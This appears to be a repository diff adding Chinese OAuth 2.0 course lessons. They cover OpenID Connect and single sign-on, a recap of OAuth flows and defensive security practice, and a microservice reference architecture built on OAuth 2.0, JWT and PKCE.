map.put(&quot;iat&quot;,String.valueOf(body.getIssuedAt().getTime()));
return map;
}
```
需要特别指出的是第三方软件解析并验证ID令牌的合法性之后不需要将整个JWT信息保存下来只需保留JWT中的PAYLOAD数据体部分就可以了。因为正是这部分内容包含了身份认证所需要的用户唯一标识等信息。
另外在验证JWT合法性的时候因为ID令牌本身已经被身份认证服务OP的密钥签名过所以关键的一点是合法性校验时需要做签名校验。具体的加密方法和校验方法你可以回顾下[第4讲](https://time.geekbang.org/column/article/257747)。
这样当第三方软件RP拿到ID令牌之后就已经获得了处理身份认证标识动作的信息也就是拿到了那个能够唯一标识最终用户EU的ID值比如3521。
### 用访问令牌获取ID令牌之外的信息
但是,为了提升第三方软件对用户的友好性,在页面上显示 “您好3521” 肯定不如显示 “您好,小明同学”的体验好。这里的 “小明同学”,恰恰就是用户的昵称。
那如何来获取“小明同学”这个昵称呢。这也很简单,就是**通过返回的访问令牌access_token来重新发送一次请求**。当然这个流程我们现在也已经很熟悉了它属于OAuth 2.0标准流程中的请求受保护资源服务的流程。
这也就是为什么在OIDC协议里面既给我们返回ID令牌又返回访问令牌的原因了。在保证用户身份认证功能的前提下如果想获取更多的用户信息就再通过访问令牌获取。在OIDC框架里这部分内容叫做创建UserInfo端点和获取UserInfo信息。
这样看下来细粒度地去看OIDC的流程就是**生成ID令牌-&gt;创建UserInfo端点-&gt;解析ID令牌-&gt;记录登录状态-&gt;获取UserInfo**。
好了利用OAuth 2.0实现一个OIDC框架的工作我们就做完了。你可以到[GitHub](https://github.com/xindongbook/oauth2-code/tree/master/src/com/oauth/ch09)上查看这些流程的完整代码。现在,我再来和你小结下。
用OAuth 2.0实现OIDC的最关键的方法是在原有OAuth 2.0流程的基础上增加ID令牌和UserInfo端点以保障OIDC中的第三方软件能够记录用户状态和获取用户详情的功能。
因为第三方软件可以通过解析ID令牌的关键用户标识信息来记录用户状态同时可以通过Userinfo端点来获取更详细的用户信息。有了用户态和用户信息也就理所当然地实现了一个身份认证。
接下来我们就具体看看如何实现单点登录Single Sign OnSSO
## 单点登录
一个用户G要登录第三方软件AA有三个子应用域名分别是a1.com、a2.com、a3.com。如果A想要为用户提供更流畅的登录体验让用户G登录了a1.com之后也能顺利登录其他两个域名就可以创建一个身份认证服务来支持a1.com、a2.com和a3.com的登录。
这就是我们说的单点登录,“一次登录,畅通所有”。
那么可以使用OIDC协议标准来实现这样的单点登录吗我只能说 “太可以了”。如下图所示只需要让第三方软件RP重复我们OIDC的通信流程就可以了。
<img src="https://static001.geekbang.org/resource/image/7b/48/7bf3cb13a5174f2068c916a4d1ef2748.png" alt="" title="图3 单点登录的通信流程">
你看单点登录就是OIDC的一种具体应用方式只要掌握了OIDC框架的原理实现单点登录就不在话下了。关于单点登录的具体实现在GitHub上搜索“通过OIDC来实现单点登录”你就可以看到很多相关的开源内容。
## 总结
在一些较大的、已经具备身份认证服务的平台上你可能并没有发现OIDC的描述但大可不必纠结。有时候我们可能会困惑于到底是先有OIDC这样的标准还是先有类似微信登录这样的身份认证实现方式呢
其实要理解这层先后关系我们可以拿设计模式来举例。当你想设计一个较为松耦合、可扩展的系统时即使没有接触过设计模式通过不断地尝试修改后也会得出一个逐渐符合了设计模式那样“味道”的代码架构思路。理解OIDC解决身份认证问题的思路也是同样的道理。
今天我们在OAuth2.0的基础上实现了一个OIDC的流程我希望你能记住以下两点。
1. **OAuth 2.0 不是一个身份认证协议**请一定要记住这点。身份认证强调的是“谁的问题”而OAuth2.0强调的是授权是“可不可以”的问题。但是我们可以在OAuth2.0的基础上通过增加ID令牌来获取用户的唯一标识从而就能够去实现一个身份认证协议。
1. 有些App不想非常麻烦地自己设计一套注册和登录认证流程就会寻求统一的解决方案然后势必会出现一个平台来收揽所有类似的认证登录场景。我们再反过来理解也是成立的。如果有个拥有海量用户的、大流量的访问平台来**提供一套统一的登录认证服务**让其他第三方应用来对接不就可以解决一个用户使用同一个账号来登录众多第三方App的问题了吗而OIDC就是这样的登录认证场景的开放解决方案。
说到这里你是不是对OIDC理解得更透彻了呢好了让我们看看今天我为了大家留了什么思考题吧。
## 思考题
如果你自己通过OAuth 2.0来实现一个类似OIDC的身份认证协议你觉得需要注意哪些事项呢
欢迎你在留言区分享你的观点,也欢迎你把今天的内容分享给其他朋友,我们一起交流。

View File

@@ -0,0 +1,90 @@
<audio id="audio" title="10 | 串讲OAuth 2.0的工作流程与安全问题" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/0d/b4/0dd81115a8a52b63aed0ab9f8c1e58b4.mp3"></audio>
你好,我是王新栋。
今天这一讲,我并不打算带你去解决新的什么问题,而是把我们已经讲过的内容再串一遍,就像学生时代每个学期即将结束时的一次串讲,来 “回味”下 OAuth 2.0的整个知识体系。当然了我也会在这个过程中与你分享我在实践OAuth 2.0的过程中,积累的最值得分享的经验。
接下来就让我们先串一串OAuth 2.0的工作流程吧。
## OAuth 2.0工作流程串讲
<img src="https://static001.geekbang.org/resource/image/be/2a/beb02a5baf3654c5025238552cd26a2a.jpg" alt="">
我们一直在讲OAuth 2.0是一种授权协议,这种协议可以让第三方软件**代表**用户去执行被允许的操作。那么,第三方软件就需要向用户索取**授权**来获得那个令牌。
我们回想下[第1讲](https://time.geekbang.org/column/article/254565)拜访百度王总的例子。只有拿到前台小姐姐给你的门禁卡,你才能够进入百度大楼。这个过程就相当于前台小姐姐给你做了一次授权,而这个授权的凭证就是门禁卡。对应到我们的系统中,门禁卡便相当于访问令牌。
通过“代表”“授权”这样的关键词我们可以认识到OAuth 2.0是一个授权协议,也是一个安全协议。那么,如果我说它也是一种委托协议,你也不要吃惊。
试想一下,用户在微信平台上有修改昵称、修改头像、修改个人兴趣的权限,当第三方软件请求让自己代表用户来操作这些权限的时候,就是第三方软件请求用户把这些权限**委托**给自己,用户在批准了委托请求之后,才可以代表用户去执行这些操作。
这时,我们细想一下,**委托才是OAuth 2.0授权概念的根基,因为没有“委托”之意就不会有“代表”行为的发生**。
在整个课程讲述授权的过程中,我频繁举例和强调的就是授权码许可流程。在学习授权码流程的时候,你最困惑的一点恐怕莫过于 “为什么要多此一举,非得通过一个**授权码code**来换取访问令牌access_token”了吧。这个问题我在讲[授权码许可的整体流程](https://time.geekbang.org/column/article/256196)时也做过分析了,你现在回想起来应该不会再为此“痛苦不堪” 了吧。
我们再来分析下,第三方软件要获取访问令牌,只能通过两个渠道:
- 一个渠道是第三方软件的前端页面。但是,如果直接返回到前端页面上,访问令牌是很容易被通过浏览器截获的,所以显然不可取。
- 另外一个渠道是通过后端传输。第三方软件的后端和授权服务的后端之间通信,这样就可以避免令牌被直接暴露的问题。
再往深了想,第三方软件的后端总不能向授权服务的后端 “硬要” 吧总要告诉授权服务是要哪个用户的access_token吧所以还需要用户的参与。
用户一旦参与进来,访问的第一个页面是第三方软件,用户要授权,第三方软件就需要把用户引导到授权服务页面。但这个时候,**用户就跟第三方软件之间没有任何“通信连接”了**。如果授权服务通过后端通信直接将令牌给了第三方软件的后端,那第三方软件该如何通知用户呢,恐怕就不太好实现了。
这种情况下就很巧妙地引入了授权码code先把code通过重定向返回到第三方软件的页面第三方软件通过浏览器获取到code后再通过后端通信换取access_token待拿到token之后由于此时用户已经在第三方软件的服务上所以可以很容易地通知到用户。
以上就是授权码许可的整体工作流程了。我们说这是OAuth 2.0授权体系中最完备的流程,其他的授权许可类型,比如资源拥有者凭据许可、客户端凭据许可、隐式许可,都是以此为基础。因此,**只要你能理解授权码许可的流程也就掌握了整个OAuth 2.0中所有许可类型的运转机制**在实际工作场景中用上OAuth 2.0将不再是问题。
## OAuth 2.0安全问题串讲
但是到这里并没有万事大吉我们只是解决了OAuth 2.0的基础使用的问题。要想用好、用对这个协议成长为这个协议的应用专家我们还必须关注OAuth 2.0的安全问题。
我们在实践OAuth 2.0的过程中还必须按照规范建议来执行否则便会引发一系列的安全问题。这也往往导致有的同学会发出这样的疑问OAuth 2.0不是安全的吗它不是一直在保护着互联网上成千上万个Web API吗我们不也说它是一种安全协议吗
首先我们说OAuth 2.0是安全协议没问题,但**如果使用不当也会引起安全上的问题**。比如,我们在[第8讲](https://time.geekbang.org/column/article/261403)中提到了一个很广泛的跨站请求伪造问题。之所以出现这样的安全问题就是因为我们没有遵循OAuth 2.0的使用建议比如没有使用state这样的参数来做请求的校验或者是没有遵循授权码code值只能使用一次并且还要清除使用过的code值跟token值之间的绑定关系的建议。
在安全问题上,其实我们一直都没有特别说明一点,那就是**在使用OAuth 2.0的流程中我们的HTTP通信要使用HTTPS协议来保护数据传输的安全性**。这是因为OAuth 2.0支持的bearer令牌类型也就是任意字符串格式的令牌并没有提供且没有要求使用信息签名的机制。
你可能会说JWT令牌有这样的加密机制啊。但其实这也正说明了OAuth 2.0是一个没有约束普通令牌的规则所以才有了JWT这样对OAuth 2.0的额外补充。
实际上JWT跟OAuth 2.0并没有直接关系它只是一种结构化的信息存储可以被用在除了OAuth 2.0以外的任何地方。比如重置密码的时候会给你的邮箱发送一个链接这个链接就需要能够标识出用户是谁、不能篡改、有效期5分钟这些特征都跟JWT相符合。也就是说JWT并不是OAuth 2.0协议规范所涵盖的内容。
OAuth 2.0似乎没有自己的规则约束机制,或者说只有比较弱的约束,但其实不是不约束,而是**它就致力于做好授权框架这一件事儿**。通过我们前面的学习,也可以验证出它的确很好地胜任了这项工作。
**除此之外OAuth 2.0都是用开放的心态来提供基础的支持**,比如[第9讲](https://time.geekbang.org/column/article/262672)中的OpenID ConnectOIDC身份认证协议框架。这种开放的方式使得我们可以用“OAuth 2.0+另外一个技术”来变成一个新的技术。这就是一个伟大的、可操作的组合了,可以解决不同场景的需求。
也许正是因为OAuth 2.0可以支持类似OIDC这样的身份认证协议导致我们总是“坚持”认为OAuth 2.0是一种身份认证协议。当然了OAuth 2.0并不是身份认证协议我在第9讲中用“面粉”和“面包”来类比OAuth 2.0和OIDC的关系。
这里我再解释一下。究竟是什么原因导致了我们对OAuth 2.0有这样的 “误解” 呢我想大概原因是OAuth 2.0中确实包含了身份认证的内容,即授权服务需要让用户登录以后才可以进行用户确认授权的操作。
但这样的流程仅仅是OAuth 2.0涉及到了身份认证的行为还不足以让OAuth 2.0成为一个真正的用户身份认证协议。因为OAuth 2.0关心的只有两点,颁发令牌和使用令牌,并且令牌对第三方软件是不透明的;同时,受保护资源服务也不关心是哪个用户来请求,只要有合法的令牌 “递” 过来,就会给出正确的响应,把数据返回给第三方软件。
以上就是与OAuth 2.0安全问题息息相关的内容了。讲到这里希望你可以按照自己的理解融会贯通OAuth 2.0的这些核心知识了。接下来我再和你分享一个我在实践OAuth 2.0过程中感触最深的一个问题吧。
## 再强调都不为过的安全意识
根据我在开放平台上这些年的工作经验安全意识是实践OAuth 2.0过程中,再怎么强调都不为过的问题。
因为总结起来,**要说使用OAuth 2.0的过程中如果能有哪个机会让你“栽个大跟头”的话,那这个机会一定是在安全上**OAuth 2.0本就是致力于保护开放的Web API保护用户在平台上的资源如果因为OAuth 2.0使用不当而造成安全问题,确实是一件非常 “丢人” 的事情。
而OAuth2.0的流程里面能够为安全做贡献的只有两方,一方是第三方软件,一方是平台方。在安全性这个问题上,第三方软件开发者的安全意识参差不齐。那针对这一点,就需要平台方在其官方文档上重笔描述,并给出常见安全漏洞相应的解决方案。同时,作为平台方的内部开发人员,对安全的问题同样不能忽视,而且要有更高的安全意识和认知。
**只有第三方软件开发者和平台方的研发人员共同保有较高的安全意识,才能让“安全的墙”垒得越来越高,让攻击者的成本越来越高。因为安全的本质就是成本问题。**
你看我花了这么大的篇幅来和你讲解OAuth 2.0的安全问题并单独分析了安全意识是不是足以凸显安全性这个问题的重要程度了。没错儿这也是你能用好OAuth 2.0的一个关键标志。
## 总结
好了,以上就是我们今天的主要内容了。我希望你能记住以下三点:
1. OAuth 2.0 是一个授权协议,它通过访问令牌来表示这种授权。第三软件拿到访问令牌之后,就可以使用访问令牌来代表用户去访问用户的数据了。所以,我们说**授权的核心就是获取访问令牌和使用访问令牌**。
1. OAuth 2.0 是一个安全协议,但是**如果你使用不当,它并不能保证一定是安全的**。如果你不按照OAuth 2.0 规范中的建议来实施就会有安全风险。比如你没有遵循授权服务中的授权码只能使用一次、第三方软件的重定向URL要精确匹配等建议。
1. 安全防护的过程一直都是“魔高一尺道高一丈”相互攀升的过程。因此在使用OAuth 2.0 的过程中,第三方软件和平台方都要有足够的安全意识,来把“安全的墙”筑得更高。
最后我想说的是无论你使用OAuth 2.0目的是保护API还是作为用户身份认证的基础OAuth 2.0都只是解决这些问题的一种工具。而掌握OAuth 2.0这种工具的原理及其使用场景,将会帮助你更高效、更优雅地解决这些问题。
## 思考题
如果你是一名第三方软件的开发人员,你觉得应该如何提高自己的安全意识呢?
欢迎你在留言区分享你的观点,也欢迎你把今天的内容分享给其他朋友,我们一起交流。

View File

@@ -0,0 +1,252 @@
<audio id="audio" title="12 | 架构案例基于OAuth 2.0/JWT的微服务参考架构" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/dc/e4/dc057e8d3e588b410eee57fb9aa9c5e4.mp3"></audio>
>
你好,我是王新栋。
>
在前面几讲我们一起学习了OAuth 2.0 在开放环境中的使用过程。那么OAuth 2.0 不仅仅可以用在开放的场景中,它可以应用到我们任何需要授权/鉴权的地方,包括微服务。
>
因此今天我特别邀请了我的朋友杨波来和你分享一个基于OAuth 2.0/JWT的微服务参考架构。杨波曾先后担任过携程框架部的研发总监和拍拍贷基础架构部的研发总监在微服务和OAuth 2.0有非常丰富的实践经验。
>
其中在携程工作期间他负责过携程的API网关产品的研发工作包括它和携程的令牌服务的集成在拍拍贷工作期间他负责过拍拍贷的令牌服务的研发和运维工作。这两家公司的令牌服务和OAuth 2.0类似,但要更简单些。
>
接下来,我们就开始学习杨波老师给我们带来的内容吧。
你好,我是杨波。
从单体到微服务架构的演进,是当前企业数字化转型的一大趋势。[OAuth 2.0](https://oauth.net/2/)是当前业界标准的授权协议,它的核心是若干个针对不同场景的令牌颁发和管理流程;而[JWT](https://jwt.io/)是一种轻量级、自包含的令牌,可用于在微服务间安全地传递用户信息。
据我目前了解到的情况虽然有不少企业已经部分或全部转型到微服务架构但是在授权认证机制方面它们一般都是定制自研的比方说携程和拍拍贷的令牌服务。之所以定制自研主要原因在于标准的OAuth 2.0协议相对比较复杂,门槛也比较高。定制自研固然可以暂时解决企业的问题,但是不具备通用性,也可能有很多潜在的安全风险。
那么到底应该如何将行业标准的OAuth 2.0/JWT和微服务集成起来呢又有没有可落地的参考架构呢
针对这个问题,今天我就和你分享一种可落地的参考架构。不过,我要提前说明的是,这个架构的思想源于[MICRO-SERVICES ARCHITECTURE WITH OAUTH2 AND JWT PART 1 OVERVIEW](https://www.kaper.com/cloud/micro-services-architecture-with-oauth2-and-jwt-part-1-overview/)这篇文章。根据原作者Thijs的描述他提出的架构已经在企业落地架构了。如果你还想获得关于原架构的更多细节建议进一步参考“[What is PKCE](https://dzone.com/articles/what-is-pkce)”这篇文章。
我认为Thijs给出的架构确实具有可落地性和参考价值但是他的架构里面对某些微服务层次的命名例如BFF和Facade层和目前主流的微服务架构不符还有他的架构应该是手绘不够清晰也不容易理解。为此我专门用今天这一讲来改进Thijs给出的架构并补充针对不同场景的流程。
为了方便理解在接下来的讲述中我会假定有这样一家叫ACME的新零售公司它已经实现了数字化转型微服务电商平台是支持业务运作的核心基础设施。
在业务架构方面ACME有近千家线下门店这些门店通过POS系统和电商平台对接。公司还有一些物流发货中心拣选Order Picking系统也要和电商平台对接。另外公司还有很多送货司机通过App和电商平台对接。当然ACME还有一些电商网站做线上营销和销售这些网站是电商平台的主要流量源。
虽然支持ACME公司业务运作的技术平台很复杂但是它的核心可以用一个简化的微服务架构图来描述
<img src="https://static001.geekbang.org/resource/image/22/ff/228199yya6051f1f62f23547a88be4ff.jpg" alt="">
可以看出这个微服务架构是运行在Kubernetes集群中的。当然了这个架构实际上并不一定需要Kubernetes环境用传统数据中心也可以。另外它的整体认证授权架构是基于OAuth 2.0/JWT实现的。
接下来,我按这个微服务架构的分层方式,依次和你分析下它的每一层,以及应用认证/授权和服务调用的相关流程。这样你不仅可以理解一个典型的微服务架构该如何分层还可以弄清楚OAuth 2.0/JWT该如何与微服务进行集成。
## 微服务分层架构
ACME公司的微服务架构大致可以分为Nginx反向代理层、Web应用层、Gateway网关层、BEF层和领域服务层还包括一个IDP服务。总体上讲这是一种目前主流的微服务架构分层方式每一层职责单一、清晰。
接下来,我们具体看看每一层的主要功能。
### Nginx反向代理层
首先Nginx集群是整个平台的流量入口。Nginx是7层HTTP反向代理主要功能是实现反向路由也就是将外部流量根据HOST主机头或者PATH路由到不同的后端比方说路由到Web应用或者直接到网关Gateway。
在Kubernetes体系中Nginx是和Ingress Controller入口控制器配合工作的总称为Nginx IngressIngress Controller支持通过Ingress Rules配置Nginx的路由规则。
### Web应用层
这一层主要是一些Web应用html/css/js等资源就住在这一层。
Web服务层通常采用传统的Web MVC + 模版引擎方式处理可以实现服务器端渲染也可以采用单页SPA方式。这一层主要由公司的前端团队负责通常会使用Node.js技术栈来实现也可以采用Spring MVC技术栈实现。具体怎么实现要看公司的前端团队更擅长哪种技术。当这一层需要后台数据时可以通过网关调用后台服务获取数据。
### Gateway网关层
这一层是微服务调用流量的入口。网关的主要职责是反向路由也就是将前端请求根据HOST主机头、或者PATH、或者查询参数路由到后端目标微服务比如图中的IDP/BFF或者直接到领域服务)。
另外,网关还承担两个重要的安全职责:
- 一个是令牌的校验和转换将前端传递过来的OAuth 2.0访问令牌通过调用IDP进行校验并转换为包含用户和权限信息的JWT令牌再将JWT令牌向后台微服务传递。
- 另外一个是权限校验网关的路由表可以和OAuth 2.0的Scope进行关联。这样网关根据请求令牌中的权限范围Scope就可以判断请求是否具有调用后台服务的权限。
关于安全相关的场景和流程,我会在下一章节做进一步解释。
另外网关还需承担集中式限流、日志监控以及支持CORS等功能。
对于网关层的技术选型当前主流的API网关产品像Netflix开源的Zuul、Spring Cloud Gateway等都可以考虑。
### IDP服务
IDP是Identity Provider的简称主要负责OAuth 2.0授权协议处理OAuth 2.0和JWT令牌颁发和管理以及用户认证等功能。IDP使用后台的Login-Service进行用户认证。
对于IDP的技术选型当前主流的Spring Security OAuth或者RedHat开源的KeyCloak都可以考虑。其中Spring Security OAuth是一个OAuth 2.0的开发框架适合企业定制。KeyCloak则是一个开箱即用的OAuth 2.0/OIDC产品。
### BFF层
BFF是Backend for Frontend的简称主要实现对后台领域服务的聚合Aggregation有点类似数据库的Join功能同时为不同的前端体验PC/Mobile/开放平台等提供更友好的API和数据格式。
BFF中可以包含一些业务逻辑甚至还可以有自己的数据库存储。通常BFF要调用两个或两个以上的领域服务甚至还可能调用其它的BFF当然一般并不建议这样调用因为这样会让调用关系变得错综复杂无法理解
如果BFF需要获取调用用户或者OAuth 2.0 Scope相关信息它可以从传递过来的JWT令牌中直接获取。
BFF服务可以用Node.js开发也可以用Java/Spring等框架开发。
### 领域服务层
领域服务层在整个微服务架构的底层。这些服务包含业务逻辑,通常有自己独立的数据库存储,还可以根据需要调用外部的服务。
根据微服务分层原则领域服务禁止调用其它的领域服务更不允许反向调用BFF服务。这样做是为了保持微服务职责单一Single Responsibility和有界上下文Bounded Context避免复杂的领域依赖。领域服务是独立的开发、测试和发布单位。在电商领域常见的领域服务有用户服务、商品服务、订单服务和支付服务等。
和BFF一样如果领域服务需要获取调用用户或者OAuth 2.0 Scope相关信息它可以从传递过来的JWT令牌中直接获取。
可以看到领域服务和BFF服务都是无状态的它们本身并不存储用户状态而是通过传递过来的JWT数据获取用户信息。所以在整个架构中微服务都是无状态、可以按需水平扩展的状态要么存在用户端浏览器或者手机App中要么存在集中的数据库中。
## OAuth 2.0/JWT如何与微服务进行集成
以上就是ACME公司的整个微服务架构的层次了。这个分层架构对于大部分的互联网业务系统场景都适用。因此如果你是一家企业的架构师需要设计一套微服务架构完全可以参考它来设计。接下来我再演示几个典型的应用认证场景以及相应的服务调用流程来帮助你理解OAuth 2.0/JWT是如何和微服务进行集成的。
### 场景1第一方Web应用+资源拥有者凭据模式
这个场景是用户访问ACME公司自己的电商网站假设这个电商网站是用Spring MVC开发的。考虑到这是一个第一方场景也就是公司自己开发的网站应用我们可以选OAuth 2.0的资源拥有者凭据许可Resource Owner Password Credentials Grant也可以选更安全的授权码许可Authorization Code Grant。因为这里没有第三方的概念所以我们就选相对简单的资源拥有者凭据许可。
下面是一个认证授权流程样例。注意,这个只是突出了关键步骤,实际生产的话,还有很多需要完善和优化的地方。另外,为描述简单,这里假定一个成功流程。
<img src="https://static001.geekbang.org/resource/image/b6/bd/b658befe1da937fa3685b55522487dbd.jpg" alt="">
在上面的图中用户对应OAuth 2.0中的资源拥有者ACME IDP对应OAuth 2.0中的授权服务。另外前面架构图中的后台微服务包括BFF和基础领域服务对应OAuth 2.0中的受保护资源。
下面是流程说明:
1. 用户通过浏览器访问ACME公司的电商网站点击登录链接。
1. Web应用返回登录界面这个登录页可以是网站自己定制开发
1. 用户输入用户名、密码进行认证。
1. Web应用将用户名、密码通过网关转发到IDP的令牌获取端点POST /oauth2/tokengrant_type=password
1. IDP通过Login Service对用户进行认证。
1. IDP认证通过返回有效访问令牌根据需要也可以返回刷新令牌
1. Web应用接收到访问令牌创建用户Session并将OAuth 2.0令牌保存其中,然后返回登录成功到用户端。
1. 用户浏览器中记录Session Cookie登录成功。
那接下来,我们再来看看认证授权之后的服务调用流程。同样,这里也只是突出了关键步骤,并假定是一个成功流程。
<img src="https://static001.geekbang.org/resource/image/c8/4a/c88e46dd26deb76d6yy8f42f83066f4a.jpg" alt="">
1. 用户登录后,在网站上点击查看自己的购物历史记录。
1. Web应用通过网关调用后台API查询用户的购物历史记录请求HTTP header中带上OAuth 2.0令牌来自用户Session
1. 网关截取OAuth 2.0令牌去IDP进行校验。
1. IDP校验令牌通过再通过令牌查询用户和Scope信息构建JWT令牌返回。
1. 网关获得JWT令牌校验Scope是否有权限调用API如果有就转发到后台API进行调用。
1. 后台BFF或者领域服务通过传递过来的JWT获取用户信息根据用户ID查询购物历史记录返回。
1. Web应用获得用户的购物历史数据可以根据需要缓存在Session中再返回用户端。
1. 购物历史数据返回到用户浏览器端。
注意,这个服务调用流程,也可以应用在其他场景中,比如我们接下来要学习的“第一方移动应用+授权码许可模式”和“第三方Web应用+授权码许可模式”。基本上只要你理解了这个流程原理,就可以根据实际场景灵活套用。
### 场景2第一方移动应用+授权码许可模式
第二个场景是用户通过手机访问ACME公司自己的电商App。这是第一方的原生应用Native App场景通常考虑选用OAuth 2.0的用户名密码模式,但是并不安全(参考[MICRO-SERVICES ARCHITECTURE WITH OAUTH2 AND JWT PART 3 IDP](https://www.kaper.com/cloud/micro-services-architecture-with-oauth2-and-jwt-part-3-idp/)的Security Consideration部分所以业界建议采用授权码模式而且是要支持[PKCE](https://dzone.com/articles/what-is-pkce)扩展的授权码模式。
那接下来,我们来看看这个认证授权的流程。同样,这里只是突出了关键步骤,并假定是一个成功流程。
<img src="https://static001.geekbang.org/resource/image/44/93/443dab973274d8d13c76b2ef4cd1d393.jpg" alt="">
1. 用户访问电商App点击登录。
1. App生成PKCE相关的code verifier + challenge。
1. App以内嵌方式启动手机浏览器访问IDP的统一认证页(GET /authorize)请求带上PKCE的code challenge相关参数。
1. IDP返回统一认证页。
1. 用户认证和授权。
1. IDP通过Login Service对用户进行认证。
1. IDP返回授权码到App浏览器。
1. App截取浏览器带回的授权码将授权码+PKCE code verifer通过网关转发到IDP的令牌获取端点POST /oauth2/token, grant_type=authorization-code
1. IDP校验PKCE和授权码校验通过则返回有效访问令牌。
1. App获取令牌本地存储登录成功。
之后App如果需要和后台交互可直接通过网关调用后台微服务请求HTTP header中带上OAuth 2.0访问令牌即可。后续的服务调用流程,和“第一方应用+资源拥有者凭据模式”类似。
### 场景3第三方Web应用+授权码模式
第三个场景是某第三方合作厂商开发了一个Web网站要访问ACME公司的电商开放平台API。这是一个第三方Web应用场景通常选用OAuth 2.0的授权码许可模式。
那接下来,我们来看看这个认证授权的流程。同样,这里只是突出了关键步骤,并假设是一个成功流程。
<img src="https://static001.geekbang.org/resource/image/02/57/02affbdf32f005af65454f3acc4cd957.jpg" alt="">
<li>
用户访问这个第三方Web应用点击登录链接。
</li>
<li>
Web应用后台向ACME公司的IDP服务发送申请授权码请求GET /authorize
</li>
<li>
用户被重定向到ACME公司的IDP统一登录页面。
</li>
<li>
用户进行认证和授权。
</li>
<li>
IDP通过Login Service对用户进行认证。
</li>
<li>
认证和授权通过IDP返回授权码。
</li>
<li>
Web应用获得授权码再向IDP服务的令牌获取端点发起请求POST /oauth2/token, grant_type=authorization-code
</li>
<li>
IDP校验授权码校验通过则返回有效OAuth 2.0令牌(根据需要也可以返回刷新令牌)。
</li>
<li>
Web应用创建用户Session将OAuth 2.0令牌保存在Session中然后返回登录成功到用户端。
</li>
<li>
用户浏览器中记录Session Cookie登录成功。
</li>
之后第三方Web应用如果需要和ACME电商平台交互可直接通过网关调用微服务请求HTTP header中带上OAuth 2.0访问令牌即可。后续的服务调用流程,和前面的“第一方应用+资源拥有者凭据模式”类似。
### 额外说明
除了上面的三个主要场景和流程我还要和你分享6点。这6点是对上面基本流程的补充也是企业级的OAuth 2.0应用要额外考虑的。
**第一点是IDP的API要支持从OAuth 2.0访问令牌到JWT令牌的互转**。今天我们提到的集成架构采用OAuth 2.0 访问令牌 + JWT令牌的混合模式中间需要实现OAuth 2.0访问令牌到JWT令牌的互转。这个互转API并非OAuth 2.0的标准有些IDP产品比方Spring Security OAuth可能并不支持因此需要用户定制扩展。
**第二点是关于单页SPA应用场景**。关于单页SPA应用场景简单做法是采用隐式许可但是这个模式是OAuth 2.0中比较不安全的所以一般不建议采用。对于纯单页SPA应用业界推荐的做法是
- 如果浏览器支持Web Crypto for PKCE则可以考虑使用类似“第一方移动应用”场景下的授权码许可+PKCE扩展流程
- 否则考虑SPA+传统Web混合hybrid模式前端页面可以住在客户浏览器端中但登录认证还是由后台Web站点配合实现走类似“第一方Web应用”场景的资源拥有者凭据模式或者“第三方Web应用”场景下的授权码许可模式。
**第三点是关于SSO单点登录场景**。为了简化描述上面的流程没有考虑SSO单点登录场景。如果要支持Web SSO那么各种应用场景都必须通过浏览器+IDP登录页集中登录并且IDP要支持Session用于维护登录态。如果IDP以集群方式部署的话还要考虑粘性Sticky Session或者集中式Session。
这样当用户通过一个Web应用登录后后续如果再用其它Web应用登录的话只要IDP上的Session还存在那么这个登录就可以自动完成相当于单点登录。
当然如果要支持SSOIDP的Session Cookie要种在Web应用的根域上也就是说不同Web应用的根域必须相同否则会有跨域问题。
**第四点是关于IDP和网关的部署方式**。前面的几张架构图中IDP虽然躲在网关后面但实际上IDP可以直接通过Nginx对外暴露不经过网关。或者IDP的登录授权页面可以通过Nginx直接暴露API接口则走网关。
**第五点是关于刷新令牌**。为了简化描述,上面的流程没有详细说明刷新令牌的集成方式。企业根据场景需要,可以启用刷新令牌,来延长用户的登录时间,具体的集成方式需要考虑安全性的需求。
**第六点是关于Web Session**。为了简化描述在上面的流程中Web应用登录成功后假设启用Web Session也就是服务器端Session。在实际场景中Web Session并非唯一选择也可以采用简单的客户端Session方式也称无状态Session也就是在客户端浏览器Cookie中保存OAuth 2.0访问令牌。
## 小结
好了以上就是今天的主要内容了。今天我和你分享了如何将行业标准的OAuth 2.0/JWT和微服务集成起来你需要记住以下四点。
第一目前主流的微服务架构大致可以分为5层分别是Nginx流量接入层-&gt;Web应用层-&gt;API网关层-&gt;BFF聚合层-&gt;领域服务层。这个架构可以住在云原生的Kubernetes环境中也可以住在传统数据中心里头。
第二API网关是微服务调用的入口承担重要的安全认证和鉴权功能。主要的安全操作包括通过IDP校验OAuth 2.0访问令牌并获取带用户和权限信息的JWT令牌基于OAuth 2.0的Scope对API调用进行鉴权。
第三在微服务架构体系下通常需要一个集中的IDP服务它相当于一个Authentication &amp; Authorization as a Service角色负责令牌颁发/校验/管理,还有用户认证。
第四在今天这一讲提出的架构中Web应用层网关之前的安全机制主要基于OAuth 2.0访问令牌实现(它是一种**透明令牌**或者称**引用令牌**微服务层网关之后的安全机制主要基于JWT令牌实现它是一种**不透明**的**自包含令牌**。网关层在中间实现两种令牌的转换。这是一种OAuth 2.0访问令牌+JWT令牌的混合模式。
之所以这样设计是因为Web层靠近用户端如果采用JWT令牌会暴露用户信息有一定的安全风险所以采用OAuth 2.0访问令牌它是一个无意义随机字符串。而在网关之后安全风险相对低同时很多服务需要用户信息所以采用自包含用户信息的JWT令牌更合适。
当然如果企业内网没有特别的安全考量也可以直接传递完全透明的用户信息例如使用JSON格式
## 思考题
1. 除了今天我们讲到的OAuth 2.0访问令牌+JWT令牌的混合模式实践中也可以全程采用OAuth 2.0访问令牌或者全程采用JWT令牌。对比混合模式如果全程采用OAuth 2.0访问令牌或者全程采用JWT令牌你觉得有哪些利弊呢
1. 你可以说说自己对基于传统Web应用的认证授权机制的理解吗并对比今天讲到的现代微服务的认证授权机制你可以说说它们之间的本质差异和相似点吗
欢迎你在留言区分享你的观点,也欢迎你把今天的内容分享给其他朋友,我们一起交流。

View File

@@ -0,0 +1,129 @@
<audio id="audio" title="13 | 各大开放平台是如何使用OAuth 2.0的?" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/a1/3d/a167de900abfa083361eb71ca3128a3d.mp3"></audio>
你好,我是王新栋。
在咱们这门课中我提到了很多次“开放平台”不难理解它的作用就是企业把自己的业务能力主要以开放API的形式赋能给外部开发者。而作为第三方开发者或者ISV独立软件供应商在接入这些开放平台的时候我们最应该关心的就是它们的官方文档关注接入的流程是怎样的、对应的API是什么、每个API都传递哪些参数也就差不多够了。
